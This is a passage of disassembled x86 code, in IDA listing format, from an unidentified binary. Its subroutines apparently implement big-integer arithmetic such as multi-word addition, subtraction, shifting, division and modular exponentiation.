byte ptr 4 test ecx, ecx jbe short locret_417AA3 mov al, [esp+arg_0] push ebx mov bl, al mov bh, bl push edi mov edi, edx mov edx, ecx shr ecx, 2 mov eax, ebx shl eax, 10h mov ax, bx rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_417AA3: ; CODE XREF: sub_417A7B+2j retn sub_417A7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AA4 proc near ; CODE XREF: sub_417DBA+C9p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi push 1 push 0 mov esi, eax push 0 push dword ptr [esi+4] call sub_421320 mov ecx, [esi] xor esi, esi push esi push [ebp+arg_4] add eax, ecx adc edx, esi push edx push eax call sub_427710 test edx, edx pop esi ja short loc_417AD7 cmp eax, 0FFFFFFFFh jbe short loc_417ADE loc_417AD7: ; CODE XREF: sub_417AA4+2Cj or eax, 0FFFFFFFFh and [ebp+var_4], 0 loc_417ADE: ; CODE XREF: sub_417AA4+31j mov ecx, [ebp+arg_0] mov [ecx], eax leave retn sub_417AA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AE5 proc near ; CODE XREF: sub_418528+36p ; sub_419135+1Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] xor edx, edx dec eax test ecx, ecx push edi mov edi, [ebp+arg_0] jbe short loc_417B33 push esi loc_417AF7: ; CODE XREF: sub_417AE5+3Ej test eax, eax jl short loc_417B25 xor esi, esi xor ecx, ecx loc_417AFF: ; CODE XREF: sub_417AE5+30j cmp ecx, 20h jnb short loc_417B17 mov edi, [ebp+arg_8] movzx edi, byte ptr [eax+edi] shl edi, cl add ecx, 8 or esi, edi dec eax test eax, eax jge short loc_417AFF loc_417B17: ; CODE XREF: sub_417AE5+1Dj mov edi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov [edi+edx*4], esi inc edx cmp edx, ecx jb short loc_417AF7 loc_417B25: ; CODE XREF: sub_417AE5+14j cmp edx, ecx pop esi jnb short loc_417B33 sub ecx, edx lea edi, [edi+edx*4] xor eax, eax rep stosd loc_417B33: ; CODE XREF: sub_417AE5+Fj ; sub_417AE5+43j pop edi pop ebp retn sub_417AE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B36 proc near ; CODE XREF: sub_404D91+4Ap ; sub_4187C5+39Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi xor edi, edi dec eax cmp [ebp+arg_8], edi jbe short loc_417B6D loc_417B44: ; CODE XREF: sub_417B36+35j test eax, eax jl short loc_417B7B mov ecx, [ebp+arg_4] mov esi, [ecx+edi*4] xor ecx, ecx loc_417B50: ; CODE XREF: sub_417B36+2Fj cmp ecx, 20h jnb short loc_417B67 mov ebx, [ebp+arg_0] mov edx, esi shr edx, cl add ecx, 8 mov [eax+ebx], dl dec eax test eax, eax jge short loc_417B50 loc_417B67: ; CODE XREF: sub_417B36+1Dj inc edi cmp edi, [ebp+arg_8] jb short loc_417B44 loc_417B6D: ; CODE XREF: sub_417B36+Cj test eax, eax jl short loc_417B7B loc_417B71: ; CODE XREF: sub_417B36+43j mov ecx, [ebp+arg_0] mov byte ptr [eax+ecx], 0 dec eax jns short loc_417B71 loc_417B7B: ; CODE XREF: sub_417B36+10j ; sub_417B36+39j pop edi pop esi pop ebx pop ebp retn sub_417B36 endp ; =============== S U B R O U T I N E ======================================= sub_417B80 proc near ; CODE XREF: sub_417C59+71p ; sub_417FA5+1Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 shl eax, 2 push eax push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BC60 add esp, 0Ch retn sub_417B80 endp ; =============== S U B R O U T I N E ======================================= sub_417B95 proc near ; CODE XREF: sub_417BA8+7p ; sub_417C59+1Fp ... arg_0 = dword ptr 4 shl eax, 2 push eax push 0 push [esp+8+arg_0] call sub_41C6D0 add esp, 0Ch retn sub_417B95 endp ; =============== S U B R O U T I N E ======================================= sub_417BA8 proc near ; CODE XREF: sub_4187C5+79p ; sub_4187C5+8Cp ... push esi push edi push ebx mov esi, eax mov edi, ecx call sub_417B95 shl esi, 5 cmp edi, esi pop ecx jnb short loc_417BCC xor eax, eax mov ecx, edi and ecx, 1Fh inc eax shl eax, cl shr edi, 5 mov [ebx+edi*4], eax loc_417BCC: ; CODE XREF: sub_417BA8+12j pop edi pop esi retn sub_417BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417BCF proc near ; CODE XREF: sub_4180F9+CAp ; sub_418528+76p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx mov ebx, eax xor eax, eax test ecx, ecx push edi mov edi, [ebp+arg_0] jz short loc_417C09 mov [ebp+var_4], ecx loc_417BE3: ; CODE XREF: sub_417BCF+38j mov ecx, [ebx] add ecx, eax add ebx, 4 cmp ecx, eax jnb short loc_417BF2 mov ecx, [edx] jmp short loc_417BFC ; --------------------------------------------------------------------------- loc_417BF2: ; CODE XREF: sub_417BCF+1Dj mov eax, [edx] add ecx, eax cmp ecx, eax sbb eax, eax neg eax loc_417BFC: ; CODE XREF: sub_417BCF+21j mov [edi], ecx add edx, 4 add edi, 4 dec [ebp+var_4] jnz short loc_417BE3 loc_417C09: ; CODE XREF: sub_417BCF+Fj pop edi pop ebx leave retn sub_417BCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C0D proc near ; CODE XREF: sub_417DBA+10Dp ; sub_4180F9+150p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push edi mov edi, eax xor eax, eax test ecx, ecx jz short loc_417C56 mov [ebp+var_4], ecx push ebx loc_417C1E: ; CODE XREF: sub_417C0D+46j mov ecx, [edi] or ebx, 0FFFFFFFFh sub ecx, eax sub ebx, eax add edi, 4 cmp ecx, ebx jbe short loc_417C35 or ecx, 0FFFFFFFFh sub ecx, [edx] jmp short loc_417C44 ; --------------------------------------------------------------------------- loc_417C35: ; CODE XREF: sub_417C0D+1Fj mov eax, [edx] or ebx, 0FFFFFFFFh sub ecx, eax sub ebx, eax cmp ebx, ecx sbb eax, eax neg eax loc_417C44: ; CODE XREF: sub_417C0D+26j mov ebx, [ebp+arg_0] add [ebp+arg_0], 4 add edx, 4 dec [ebp+var_4] mov [ebx], ecx jnz short loc_417C1E pop ebx loc_417C56: ; CODE XREF: sub_417C0D+Bj pop edi leave retn sub_417C0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C59 proc near ; CODE XREF: sub_417F5D+15p ; sub_4180F9+B0p ... var_410 = byte ptr -410h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 410h push ebx push esi push edi mov edi, eax mov ebx, ecx lea esi, [ebp+var_410] mov ecx, esi lea eax, [edi+edi] push ecx mov [ebp+var_8], eax call sub_417B95 push ebx mov eax, edi call sub_418418 push [ebp+arg_4] mov edx, eax mov eax, edi call sub_418418 add esp, 0Ch test edx, edx mov edi, eax jz short loc_417CBD mov [ebp+var_4], edx loc_417C9D: ; CODE XREF: sub_417C59+62j mov eax, [ebx] mov ecx, [ebp+arg_4] push eax push esi mov eax, edi mov edx, esi call sub_418427 add [esi+edi*4], eax pop ecx add ebx, 4 add esi, 4 dec [ebp+var_4] pop ecx jnz short loc_417C9D loc_417CBD: ; CODE XREF: sub_417C59+3Fj lea eax, [ebp+var_410] push eax push [ebp+arg_0] mov eax, [ebp+var_8] call sub_417B80 push 408h lea eax, [ebp+var_410] push 0 push eax call sub_41C6D0 add esp, 14h pop edi pop esi pop ebx leave retn sub_417C59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CEA proc near ; CODE XREF: sub_417DBA+50p ; sub_417DBA+68p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 push ebx push esi push edi push 20h pop esi sub esi, [ebp+arg_0] mov ebx, ecx mov edi, edx jnz short loc_417D06 xor eax, eax jmp short loc_417D49 ; --------------------------------------------------------------------------- loc_417D06: ; CODE XREF: sub_417CEA+16j cmp [ebp+arg_0], 0 jz short loc_417D35 test eax, eax jz short loc_417D46 mov [ebp+var_8], eax loc_417D13: ; CODE XREF: sub_417CEA+47j mov edx, [ebx] mov ecx, [ebp+arg_0] mov eax, edx shl eax, cl mov ecx, esi shr edx, cl add ebx, 4 or eax, [ebp+var_4] mov [edi], eax add edi, 4 dec [ebp+var_8] mov [ebp+var_4], edx jnz short loc_417D13 jmp short loc_417D46 ; --------------------------------------------------------------------------- loc_417D35: ; CODE XREF: sub_417CEA+20j test eax, eax jz short loc_417D46 loc_417D39: ; CODE XREF: sub_417CEA+5Aj mov ecx, [ebx] mov [edi], ecx add edi, 4 add ebx, 4 dec eax jnz short loc_417D39 loc_417D46: ; CODE XREF: sub_417CEA+24j ; sub_417CEA+49j ... mov eax, [ebp+var_4] loc_417D49: ; CODE XREF: sub_417CEA+1Aj pop edi pop esi pop ebx leave retn sub_417CEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D4E proc near ; CODE XREF: sub_417DBA+142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 push ebx push esi push edi push 20h pop ebx sub ebx, [ebp+arg_0] mov esi, ecx mov edi, edx jnz short loc_417D6A xor eax, eax jmp short loc_417DB5 ; --------------------------------------------------------------------------- loc_417D6A: ; CODE XREF: sub_417D4E+16j cmp [ebp+arg_0], 0 jz short loc_417DA1 test eax, eax lea esi, [esi+eax*4-4] lea edi, [edi+eax*4-4] jz short loc_417DB2 mov [ebp+var_8], eax loc_417D7F: ; CODE XREF: sub_417D4E+4Fj mov edx, [esi] mov ecx, [ebp+arg_0] mov eax, edx shr eax, cl mov ecx, ebx shl edx, cl sub esi, 4 or eax, [ebp+var_4] mov [edi], eax sub edi, 4 dec [ebp+var_8] mov [ebp+var_4], edx jnz short loc_417D7F jmp short loc_417DB2 ; --------------------------------------------------------------------------- loc_417DA1: ; CODE XREF: sub_417D4E+20j test eax, eax jz short loc_417DB2 loc_417DA5: ; CODE XREF: sub_417D4E+62j mov ecx, [esi] mov [edi], ecx add edi, 4 add esi, 4 dec eax jnz short loc_417DA5 loc_417DB2: ; CODE XREF: sub_417D4E+2Cj ; sub_417D4E+51j ... mov eax, [ebp+var_4] loc_417DB5: ; CODE XREF: sub_417D4E+1Aj pop edi pop esi pop ebx leave retn sub_417D4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DBA proc near ; CODE XREF: sub_417F2F+17p ; sub_4180F9+95p var_624 = dword ptr -624h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 624h mov edx, [ebp+arg_C] push ebx push esi mov esi, eax mov eax, [ebp+arg_10] push edx call sub_418418 mov ebx, eax test ebx, ebx pop ecx jz loc_417F2B push edi push dword ptr [edx+ebx*4-4] call sub_418513 push 20h pop edi sub edi, eax lea eax, [ebp+var_624] push eax mov eax, ebx mov [ebp+var_10], edi call sub_417B95 mov ecx, [ebp+arg_8] push edi mov eax, esi lea edx, [ebp+var_624] call sub_417CEA mov ecx, [ebp+arg_C] mov [ebp+esi*4+var_624], eax push edi mov eax, ebx lea edx, [ebp+var_218] call sub_417CEA mov eax, [ebp+ebx*4+var_21C] push [ebp+arg_0] mov [ebp+var_14], eax mov eax, esi call sub_417B95 add esp, 14h sub esi, ebx mov eax, esi js loc_417EE5 mov ecx, [ebp+arg_0] lea edx, [ebp+var_624] lea edi, [eax+ebx] sub ecx, edx lea esi, [ebp+eax*4+var_624] inc eax lea edi, [ebp+edi*4+var_624] mov [ebp+var_C], ecx mov [ebp+var_8], eax loc_417E6B: ; CODE XREF: sub_417DBA+126j mov eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jnz short loc_417E7A mov eax, [edi] mov [ebp+var_4], eax jmp short loc_417E8A ; --------------------------------------------------------------------------- loc_417E7A: ; CODE XREF: sub_417DBA+B7j inc eax push eax lea ecx, [ebp+var_4] lea eax, [edi-4] push ecx call sub_417AA4 pop ecx pop ecx loc_417E8A: ; CODE XREF: sub_417DBA+BEj push [ebp+var_4] mov eax, ebx push esi lea ecx, [ebp+var_218] mov edx, esi call sub_41849C pop ecx loc_417E9E: ; CODE XREF: sub_417DBA+112j sub [edi], eax cmp dword ptr [edi], 0 pop ecx jnz short loc_417EB9 push esi mov ecx, ebx lea edx, [ebp+var_218] call sub_4183D3 test eax, eax pop ecx jl short loc_417ECE loc_417EB9: ; CODE XREF: sub_417DBA+EAj inc [ebp+var_4] push esi mov ecx, ebx lea edx, [ebp+var_218] mov eax, esi call sub_417C0D jmp short loc_417E9E ; --------------------------------------------------------------------------- loc_417ECE: ; CODE XREF: sub_417DBA+FDj mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [ecx+esi], eax sub esi, 4 sub edi, 4 dec [ebp+var_8] jnz short loc_417E6B mov edi, [ebp+var_10] loc_417EE5: ; CODE XREF: sub_417DBA+88j push [ebp+arg_4] mov eax, [ebp+arg_10] call sub_417B95 mov edx, [ebp+arg_4] push edi mov eax, ebx lea ecx, [ebp+var_624] call sub_417D4E push 40Ch lea eax, [ebp+var_624] push 0 push eax call sub_41C6D0 push 204h lea eax, [ebp+var_218] push 0 push eax call sub_41C6D0 add esp, 20h pop edi loc_417F2B: ; CODE XREF: sub_417DBA+1Ej pop esi pop ebx leave retn sub_417DBA endp ; =============== S U B R O U T I N E ======================================= sub_417F2F proc near ; CODE XREF: sub_417F5D+2Bp ; sub_4182E9+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push [esp+4+arg_C] mov esi, offset dword_437CF8 push [esp+8+arg_8] push [esp+0Ch+arg_4] push [esp+10h+arg_0] push esi call sub_417DBA push 408h push 0 push esi call sub_41C6D0 add esp, 20h pop esi retn sub_417F2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F5D proc near ; CODE XREF: sub_417FA5+32p ; sub_417FA5+4Ap ... var_408 = byte ptr -408h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 408h push [ebp+arg_4] lea eax, [ebp+var_408] push eax mov eax, esi call sub_417C59 push esi push [ebp+arg_8] lea ecx, [ebp+var_408] push ecx push [ebp+arg_0] lea eax, [esi+esi] call sub_417F2F push 408h lea eax, [ebp+var_408] push 0 push eax call sub_41C6D0 add esp, 24h leave retn sub_417F5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FA5 proc near ; CODE XREF: sub_41874F+3Bp ; sub_419135+B3p ... var_A18 = byte ptr -0A18h var_814 = byte ptr -814h var_610 = byte ptr -610h var_40C = byte ptr -40Ch var_208 = dword ptr -208h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 814h push ebx push esi push edi push [ebp+arg_4] mov esi, eax lea eax, [ebp+var_814] push eax mov eax, esi call sub_417B80 push [ebp+arg_10] lea eax, [ebp+var_610] push [ebp+arg_4] lea ecx, [ebp+var_814] push eax call sub_417F5D push [ebp+arg_10] lea eax, [ebp+var_40C] push [ebp+arg_4] lea ecx, [ebp+var_610] push eax call sub_417F5D lea eax, [ebp+var_208] push eax mov eax, esi call sub_417B95 push [ebp+arg_8] mov eax, [ebp+arg_C] mov [ebp+var_208], 1 call sub_418418 lea edi, [eax-1] mov ebx, edi add esp, 28h test ebx, ebx jl loc_4180BA loc_418027: ; CODE XREF: sub_417FA5+10Fj cmp ebx, edi mov eax, [ebp+arg_8] mov eax, [eax+ebx*4] push 20h mov [ebp+arg_C], eax pop ecx jnz short loc_418050 mov eax, 0C0000000h test [ebp+arg_C], eax jnz short loc_418050 loc_418041: ; CODE XREF: sub_417FA5+A5j shl [ebp+arg_C], 2 dec ecx dec ecx test [ebp+arg_C], eax jz short loc_418041 test ecx, ecx jbe short loc_4180B3 loc_418050: ; CODE XREF: sub_417FA5+90j ; sub_417FA5+9Aj lea eax, [ecx-1] shr eax, 1 inc eax mov [ebp+var_4], eax loc_418059: ; CODE XREF: sub_417FA5+10Cj push [ebp+arg_10] lea eax, [ebp+var_208] push eax push eax mov ecx, eax call sub_417F5D push [ebp+arg_10] lea eax, [ebp+var_208] push eax push eax mov ecx, eax call sub_417F5D mov eax, [ebp+arg_C] add esp, 18h shr eax, 1Eh jz short loc_4180AA push [ebp+arg_10] imul eax, 204h lea eax, [ebp+eax+var_A18] push eax lea eax, [ebp+var_208] push eax mov ecx, eax call sub_417F5D add esp, 0Ch loc_4180AA: ; CODE XREF: sub_417FA5+E1j shl [ebp+arg_C], 2 dec [ebp+var_4] jnz short loc_418059 loc_4180B3: ; CODE XREF: sub_417FA5+A9j dec ebx jns loc_418027 loc_4180BA: ; CODE XREF: sub_417FA5+7Cj lea eax, [ebp+var_208] push eax push [ebp+arg_0] mov eax, esi call sub_417B80 push 60Ch lea eax, [ebp+var_814] push 0 push eax call sub_41C6D0 push 204h lea eax, [ebp+var_208] push 0 push eax call sub_41C6D0 add esp, 20h pop edi pop esi pop ebx leave retn sub_417FA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180F9 proc near ; CODE XREF: sub_4187C5+2B4p ; sub_4187C5+336p var_1224 = byte ptr -1224h var_E1C = byte ptr -0E1Ch var_C18 = byte ptr -0C18h var_A14 = byte ptr -0A14h var_810 = byte ptr -810h var_60C = byte ptr -60Ch var_408 = dword ptr -408h var_204 = byte ptr -204h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1224h call sub_41E090 push ebx push esi lea eax, [ebp+var_408] push edi mov esi, ecx push eax mov eax, esi call sub_417B95 lea eax, [ebp+var_60C] xor edi, edi push eax inc edi mov eax, esi mov [ebp+var_408], edi call sub_417B95 push [ebp+arg_4] lea eax, [ebp+var_810] push eax mov eax, esi call sub_417B80 push [ebp+arg_8] lea eax, [ebp+var_204] push eax mov eax, esi call sub_417B80 add esp, 18h mov eax, esi lea ecx, [ebp+var_204] call sub_418403 test eax, eax jnz loc_418250 mov ebx, esi shl ebx, 2 loc_41816F: ; CODE XREF: sub_4180F9+136j push esi lea eax, [ebp+var_204] push eax lea eax, [ebp+var_810] push eax lea eax, [ebp+var_C18] push eax lea eax, [ebp+var_E1C] push eax mov eax, esi call sub_417DBA lea eax, [ebp+var_60C] push eax lea eax, [ebp+var_1224] push eax mov eax, esi lea ecx, [ebp+var_E1C] call sub_417C59 lea eax, [ebp+var_A14] push eax mov ecx, esi lea edx, [ebp+var_1224] lea eax, [ebp+var_408] call sub_417BCF push ebx lea eax, [ebp+var_60C] push eax lea eax, [ebp+var_408] push eax call sub_41BC60 push ebx lea eax, [ebp+var_A14] push eax lea eax, [ebp+var_60C] push eax call sub_41BC60 push ebx lea eax, [ebp+var_204] push eax lea eax, [ebp+var_810] push eax call sub_41BC60 add esp, 44h push ebx lea eax, [ebp+var_C18] push eax lea eax, [ebp+var_204] push eax call sub_41BC60 add esp, 0Ch mov eax, esi lea ecx, [ebp+var_204] neg edi call sub_418403 test eax, eax jz loc_41816F xor ebx, ebx cmp edi, ebx jge short loc_418252 push [ebp+arg_0] mov eax, [ebp+arg_8] mov ecx, esi lea edx, [ebp+var_408] call sub_417C0D jmp short loc_418264 ; --------------------------------------------------------------------------- loc_418250: ; CODE XREF: sub_4180F9+6Bj xor ebx, ebx loc_418252: ; CODE XREF: sub_4180F9+140j lea eax, [ebp+var_408] push eax push [ebp+arg_0] mov eax, esi call sub_417B80 pop ecx loc_418264: ; CODE XREF: sub_4180F9+155j pop ecx mov esi, 204h push esi lea eax, [ebp+var_E1C] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_A14] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_C18] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_408] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_810] push ebx push eax call sub_41C6D0 push esi lea eax, [ebp+var_60C] push ebx push eax call sub_41C6D0 add esp, 48h push esi lea eax, [ebp+var_204] push ebx push eax call sub_41C6D0 push 408h lea eax, [ebp+var_1224] push ebx push eax call sub_41C6D0 add esp, 18h pop edi pop esi pop ebx leave retn sub_4180F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182E9 proc near ; CODE XREF: sub_418D42+39p var_60C = byte ptr -60Ch var_408 = byte ptr -408h var_204 = byte ptr -204h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 60Ch push esi push edi push [ebp+arg_4] mov esi, eax lea eax, [ebp+var_408] push eax mov eax, esi call sub_417B80 push [ebp+arg_8] lea eax, [ebp+var_204] push eax mov eax, esi call sub_417B80 add esp, 10h mov eax, esi lea ecx, [ebp+var_204] call sub_418403 test eax, eax jnz short loc_41838A mov edi, esi shl edi, 2 loc_418331: ; CODE XREF: sub_4182E9+9Fj push esi lea eax, [ebp+var_204] push eax lea eax, [ebp+var_408] push eax lea eax, [ebp+var_60C] push eax mov eax, esi call sub_417F2F push edi lea eax, [ebp+var_204] push eax lea eax, [ebp+var_408] push eax call sub_41BC60 push edi lea eax, [ebp+var_60C] push eax lea eax, [ebp+var_204] push eax call sub_41BC60 add esp, 28h mov eax, esi lea ecx, [ebp+var_204] call sub_418403 test eax, eax jz short loc_418331 loc_41838A: ; CODE XREF: sub_4182E9+41j lea eax, [ebp+var_408] push eax push [ebp+arg_0] mov eax, esi call sub_417B80 mov esi, 204h push esi xor edi, edi lea eax, [ebp+var_60C] push edi push eax call sub_41C6D0 push esi lea eax, [ebp+var_408] push edi push eax call sub_41C6D0 push esi lea eax, [ebp+var_204] push edi push eax call sub_41C6D0 add esp, 2Ch pop edi pop esi leave retn sub_4182E9 endp ; =============== S U B R O U T I N E ======================================= sub_4183D3 proc near ; CODE XREF: sub_417DBA+F5p ; sub_418528+D6p ... arg_0 = dword ptr 4 dec ecx push esi push edi js short loc_4183F4 mov edi, [esp+8+arg_0] lea eax, [edx+ecx*4] sub edi, edx loc_4183E1: ; CODE XREF: sub_4183D3+1Fj mov edx, [edi+eax] mov esi, [eax] cmp edx, esi ja short loc_4183F9 jb short loc_4183FE dec ecx sub eax, 4 test ecx, ecx jge short loc_4183E1 loc_4183F4: ; CODE XREF: sub_4183D3+3j xor eax, eax loc_4183F6: ; CODE XREF: sub_4183D3+29j ; sub_4183D3+2Ej pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4183F9: ; CODE XREF: sub_4183D3+15j xor eax, eax inc eax jmp short loc_4183F6 ; --------------------------------------------------------------------------- loc_4183FE: ; CODE XREF: sub_4183D3+17j or eax, 0FFFFFFFFh jmp short loc_4183F6 sub_4183D3 endp ; =============== S U B R O U T I N E ======================================= sub_418403 proc near ; CODE XREF: sub_4180F9+64p ; sub_4180F9+12Fp ... jmp short loc_41840F ; --------------------------------------------------------------------------- loc_418405: ; CODE XREF: sub_418403+Ej mov edx, [ecx] dec eax add ecx, 4 test edx, edx jnz short loc_418415 loc_41840F: ; CODE XREF: sub_418403j test eax, eax jnz short loc_418405 inc eax retn ; --------------------------------------------------------------------------- loc_418415: ; CODE XREF: sub_418403+Aj xor eax, eax retn sub_418403 endp ; =============== S U B R O U T I N E ======================================= sub_418418 proc near ; CODE XREF: sub_417C59+27p ; sub_417C59+33p ... arg_0 = dword ptr 4 dec eax js short loc_418425 mov ecx, [esp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short sub_418418 loc_418425: ; CODE XREF: sub_418418+1j inc eax retn sub_418418 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418427 proc near ; CODE XREF: sub_417C59+4Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi xor edi, edi cmp [ebp+arg_4], edi mov ebx, ecx mov esi, edx jnz short loc_41843F xor eax, eax jmp short loc_418497 ; --------------------------------------------------------------------------- loc_41843F: ; CODE XREF: sub_418427+12j cmp eax, edi jz short loc_418495 mov [ebp+var_4], eax loc_418446: ; CODE XREF: sub_418427+6Cj xor eax, eax push eax push [ebp+arg_4] push eax push dword ptr [ebx] call sub_421320 mov ecx, edx sar ecx, 1Fh mov ecx, [ebp+arg_0] mov ecx, [ecx] add [ebp+arg_0], 4 add ecx, edi add ebx, 4 cmp ecx, edi mov [ebp+var_8], edx mov [esi], ecx jnb short loc_418475 xor edi, edi inc edi jmp short loc_418477 ; --------------------------------------------------------------------------- loc_418475: ; CODE XREF: sub_418427+47j xor edi, edi loc_418477: ; CODE XREF: sub_418427+4Cj add [esi], eax mov ecx, [esi] add esi, 4 cmp ecx, eax jnb short loc_418487 xor eax, eax inc eax jmp short loc_418489 ; --------------------------------------------------------------------------- loc_418487: ; CODE XREF: sub_418427+59j xor eax, eax loc_418489: ; CODE XREF: sub_418427+5Ej mov ecx, [ebp+var_8] add eax, ecx add edi, eax dec [ebp+var_4] jnz short loc_418446 loc_418495: ; CODE XREF: sub_418427+1Aj mov eax, edi loc_418497: ; CODE XREF: sub_418427+16j pop edi pop esi pop ebx leave retn sub_418427 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41849C proc near ; CODE XREF: sub_417DBA+DEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi xor edi, edi cmp [ebp+arg_4], edi mov ebx, ecx mov esi, edx jnz short loc_4184B4 xor eax, eax jmp short loc_41850E ; --------------------------------------------------------------------------- loc_4184B4: ; CODE XREF: sub_41849C+12j cmp eax, edi jz short loc_41850C mov [ebp+var_4], eax loc_4184BB: ; CODE XREF: sub_41849C+6Ej xor eax, eax push eax push [ebp+arg_4] push eax push dword ptr [ebx] call sub_421320 mov ecx, edx sar ecx, 1Fh mov ecx, [ebp+arg_0] mov ecx, [ecx] add [ebp+arg_0], 4 mov [ebp+var_8], edx or edx, 0FFFFFFFFh sub ecx, edi sub edx, edi add ebx, 4 xor edi, edi cmp ecx, edx mov [esi], ecx jbe short loc_4184ED inc edi loc_4184ED: ; CODE XREF: sub_41849C+4Ej sub [esi], eax mov ecx, [esi] or edx, 0FFFFFFFFh sub edx, eax add esi, 4 xor eax, eax cmp ecx, edx jbe short loc_418500 inc eax loc_418500: ; CODE XREF: sub_41849C+61j mov ecx, [ebp+var_8] add eax, ecx add edi, eax dec [ebp+var_4] jnz short loc_4184BB loc_41850C: ; CODE XREF: sub_41849C+1Aj mov eax, edi loc_41850E: ; CODE XREF: sub_41849C+16j pop edi pop esi pop ebx leave retn sub_41849C endp ; =============== S U B R O U T I N E ======================================= sub_418513 proc near ; CODE XREF: sub_417DBA+29p arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax jz short locret_418527 loc_41851B: ; CODE XREF: sub_418513+12j cmp eax, 20h jnb short locret_418527 inc eax shr [esp+arg_0], 1 jnz short loc_41851B locret_418527: ; CODE XREF: sub_418513+6j ; sub_418513+Bj retn sub_418513 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418528 proc near ; CODE XREF: sub_4187C5+118p ; sub_4187C5+1ECp var_60C = byte ptr -60Ch var_408 = dword ptr -408h var_204 = byte ptr -204h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 60Ch push esi mov eax, edi shl eax, 2 push eax lea eax, [ebp+var_60C] push eax mov esi, ecx call sub_418E60 test eax, eax pop ecx pop ecx jnz loc_41868F lea eax, [ebp+var_60C] push eax push edi mov eax, edi push ebx shl eax, 2 call sub_417AE5 mov edx, [ebp+arg_0] lea eax, [ebp+var_204] push eax mov eax, [ebp+arg_4] mov ecx, edi call sub_417C0D lea eax, [ebp+var_408] push eax mov eax, edi call sub_417B95 lea eax, [ebp+var_204] push eax mov ecx, edi lea edx, [ebp+var_408] mov [ebp+var_408], 1 call sub_417BCF push edi lea eax, [ebp+var_204] push eax push ebx push ebx mov eax, edi call sub_417F2F mov edx, [ebp+arg_0] push ebx mov ecx, edi mov eax, ebx call sub_417BCF mov esi, [ebp+arg_8] push edi push esi lea eax, [ebp+var_204] push ebx push eax mov eax, edi call sub_417F2F push ebx mov ecx, edi lea edx, [ebp+var_204] mov eax, ebx call sub_417C0D add esp, 40h push ebx mov ecx, edi lea edx, [ebp+var_408] mov eax, ebx call sub_417BCF mov edx, [ebp+arg_0] push ebx mov ecx, edi call sub_4183D3 test eax, eax pop ecx pop ecx jge short loc_418616 push ebx mov ecx, edi mov edx, 